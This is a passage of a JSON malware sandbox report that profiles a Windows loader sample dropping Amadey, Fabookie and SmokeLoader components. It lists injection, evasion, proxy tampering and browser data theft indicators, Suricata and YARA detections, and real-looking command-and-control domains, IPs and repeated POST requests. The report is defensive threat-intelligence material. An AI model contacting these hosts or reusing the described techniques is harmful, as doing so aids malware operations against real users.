least three reputation engines","description":"10/90 reputation engines marked \"http://z.nnnaajjjgc.com\" as malicious (11% detection rate)\n 14/90 reputation engines marked \"http://app.nnnaajjjgc.com\" as malicious (15% detection rate)\n 9/90 reputation engines marked \"https://zaoshang.ru\" as malicious (10% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"55/71 Antivirus vendors marked sample as malicious (77% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$50","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\".exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Favorites\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Links\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\%OSUSER%\\Saved Games\\desktop.ini\"\n \".exe\" reads file \"C:\\Users\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe]- [targetUID: 00000000-00007196]\n \"aafg31.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- Location: [%TEMP%\\aafg31.exe]- [targetUID: 00000000-00007196]\n \"latestplayer.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\latestplayer.exe]- [targetUID: 00000000-00007196]\n \"toolspub2.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\toolspub2.exe]- [targetUID: 00000000-00007196]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$51","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"\n \"192.168.242.123\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"2.5.29.15\"\n \"2.5.29.19\"\n \"2.5.29.31\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.29.14\"\n \"2.5.29.10\"\n \"2.5.29.17\"\n \"2.5.4.3\"\n \"2.5.29.1\"\n \"2.5.29.16\"\n \"2.5.4.6\"\n \"2.5.4.8\"\n \"2.5.4.7\"\n \"2.5.4.10\"\n \"2.5.4.11\"\n \"2.5.4.5\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 156.236.72.121 on port 443 is sent without HTTP header\n TCP traffic to 154.221.26.108 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - Crypto Library","description":"YARA signature for detecting crypto library used in process \"00000000-00001296\"\n YARA signature for detecting crypto library used in file \"imagd_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":5,"id":"yara-125","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"aafg31.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"aafg31.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5iai33tc.5s4.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rcjn11qk.jc0.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Windows\\Temp\\__PSScriptPolicyTest_tylsl4eh.jq5.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Windows\\Temp\\__PSScriptPolicyTest_iy2n2uqx.xmx.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"aafg31.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5iai33tc.5s4.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rcjn11qk.jc0.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"aafg31.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" claimed CRC 4394792 while the actual is CRC 5419761\n \"aafg31.exe\" claimed CRC 438560 while the actual is CRC 4403676\n \"toolspub2.exe\" claimed CRC 282020 while the actual is CRC 327671","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$52","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$53","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\aafg31.exe\"\" - (UID: 00000000-00007196)\n \".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\toolspub2.exe\"\" - (UID: 00000000-00007196)\n \".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe\"\" - (UID: 00000000-00007196)\n \".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\latestplayer.exe\"\" - (UID: 00000000-00007196)\n \"toolspub2.exe\" called \"CreateProcessA\" with parameter \"\"%TEMP%\\toolspub2.exe\"\" - (UID: 00000000-00006048)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Hooks process/system information retrieval APIs","description":"\"NtQueryInformationProcess@NTDLL.DLL\" in \"toolspub2.exe\"\n \"NtOpenProcessToken@NTDLL.DLL\" in \"toolspub2.exe\"\n \"NtOpenProcess@NTDLL.DLL\" in \"toolspub2.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-3","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Environment Awareness","name":"Found a Wine emulator related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\")","origin":"File/Memory","relevance":2,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE Win32/Fabookie.ek CnC Request M4 (GET)\" (SID: 2045057, Rev: 1, Severity: 1) categorized as \"A Network Trojan was detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"55/71 Antivirus vendors marked sample as malicious (77% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"39/67 Antivirus vendors marked dropped file \"31839b57a4f11171d6abc8bbc4451ee4.exe\" as malicious (classified as \"W32.Trojan\" with 58% detection rate)\n 34/70 Antivirus vendors marked dropped file \"aafg31.exe\" as malicious (classified as \"HEUR:Trojan.Fabookie\" with 48% detection rate)\n 54/70 Antivirus vendors marked dropped file \"latestplayer.exe\" as malicious (classified as \"Amadey.A\" with 77% detection rate)\n 35/65 Antivirus vendors marked dropped file \"toolspub2.exe\" as malicious (classified as \"UDS:Backdoor.Mokes\" with 53% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"34/70 Antivirus vendors marked spawned process \"aafg31.exe\" (PID: 1296) as malicious (classified as \"HEUR:Trojan.Fabookie\" with 48% detection rate)\n 35/65 Antivirus vendors marked spawned process \"toolspub2.exe\" (PID: 6048) as malicious (classified as \"UDS:Backdoor.Mokes\" with 53% detection rate)\n 39/67 Antivirus vendors marked spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (PID: 5024) as malicious (classified as \"W32.Trojan\" with 58% detection rate)\n 35/65 Antivirus vendors marked spawned process \"toolspub2.exe\" (PID: 2896) as malicious (classified as \"UDS:Backdoor.Mokes\" with 53% detection rate)\n 54/70 Antivirus vendors marked spawned process \"latestplayer.exe\" (PID: 7012) as malicious (classified as \"Amadey.A\" with 77% detection rate)\n 39/67 Antivirus vendors marked spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (PID: 6044) as malicious (classified as \"W32.Trojan\" with 58% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"toolspub2.exe\" set thread context in remote process \"%TEMP%\\toolspub2.exe\" (PID: b50)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$54","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_DLInjector04\" matched file \"sample.bin\" as \"Detects downloader / injector\" (Author: ditekSHen)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"NtAlpcSendWaitReceivePort@NTDLL.DLL\" in \"toolspub2.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$55","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \".exe\" (UID: 00000000-00007196)\n Spawned process \"aafg31.exe\" (UID: 00000000-00001296)\n Spawned process \"toolspub2.exe\" (UID: 00000000-00006048)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00005024)\n Spawned process \"toolspub2.exe\" (UID: 00000000-00002896)\n Spawned process \"latestplayer.exe\" (UID: 00000000-00007012)\n Spawned process \"powershell.exe\" with commandline \"powershell -nologo -noprofile\" (UID: 00000000-00005060)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00006044)\n Spawned process \"powershell.exe\" with commandline \"powershell -nologo -noprofile\" (UID: 00000000-00000100)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Spyware","details_count":5,"details":[{"detail":"Hooks API calls"},{"detail":"Hooks process/system information retrieval APIs"},{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to implement anti-virtualization techniques"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Found a Wine emulator related string"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}]},"activity":{"stats":{"process_count":9,"spawned_processes_count":9,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":21,"imported_dlls_count":142,"dropped_files_count":0,"extracted_files_count":10,"files_written_count":13,"files_deleted_count":0,"registry_keys_created_count":36,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":36,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":203,"http_requests_count":203},"behavior_tags":["amadeyloader","commodity","criminal","downloader","loader","smokeloader","evasive","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"64ea1c080e9e0d3a860f441c","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"IL:Trojan.MSILZilla","contacted_countries":["SYC"],"submit_name":"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe","analysis_start_time":"2023-08-26T15:36:40+00:00","indicators_count":{"informative":198,"suspicious":67,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"156.236.72.121","port":443,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"address":"154.221.26.108","port":80,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}],"dns_resolutions":[{"domain":"app.nnnaajjjgc.com","address":"154.221.26.108","ttl":600,"country":"Seychelles","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-06-28T07:30:32+00:00","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"domain":"z.nnnaajjjgc.com","address":"156.236.72.121","ttl":600,"country":"Seychelles","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-06-28T07:30:32+00:00","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}],"http_requests":[{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/safe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /check/safe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312434&key=f76e638161751dce503fb90d61f53030","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312434&key=f76e638161751dce503fb90d61f53030 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312438&key=304d040709cd0b81c707a35974dbf7d2","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312438&key=304d040709cd0b81c707a35974dbf7d2 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312448&key=c334ae6dbac4b4a40797d3cd0e7c2c47","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312448&key=c334ae6dbac4b4a40797d3cd0e7c2c47 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312454&key=b7839edef07b3f72fe0ff103ec0cccba","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312454&key=b7839edef07b3f72fe0ff103ec0cccba HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312464&key=f3554304e1618a8a6928b569b13a50f2","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312464&key=f3554304e1618a8a6928b569b13a50f2 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312472&key=96dc7ed7723aed6b8a9b50bfc736ed41","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312472&key=96dc7ed7723aed6b8a9b50bfc736ed41 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312482&key=6df0a97f0935be5d94a6ab08c88b4362","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312482&key=6df0a97f0935be5d94a6ab08c88b4362 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312492&key=a2ad026d7d4414bed451b0dad06d3c43","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312492&key=a2ad026d7d4414bed451b0dad06d3c43 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312508&key=a8ea6ce274a3ad3a5a088f7242156ce5","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312508&key=a8ea6ce274a3ad3a5a088f7242156ce5 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312510&key=41d3198b589baf0213cf9af16b49fff1","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312510&key=41d3198b589baf0213cf9af16b49fff1 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312522&key=e00847db4e4b165915e017317d9879f7","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312522&key=e00847db4e4b165915e017317d9879f7 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312534&key=9889af6b68adea18a5f962e4c989e10e","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312534&key=9889af6b68adea18a5f962e4c989e10e HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312538&key=cf79d673483020a52746abb2040e7fc7","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312538&key=cf79d673483020a52746abb2040e7fc7 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312542&key=2ec5bd232f13e3b62fd3fb1fecd06dc0","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312542&key=2ec5bd232f13e3b62fd3fb1fecd06dc0 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 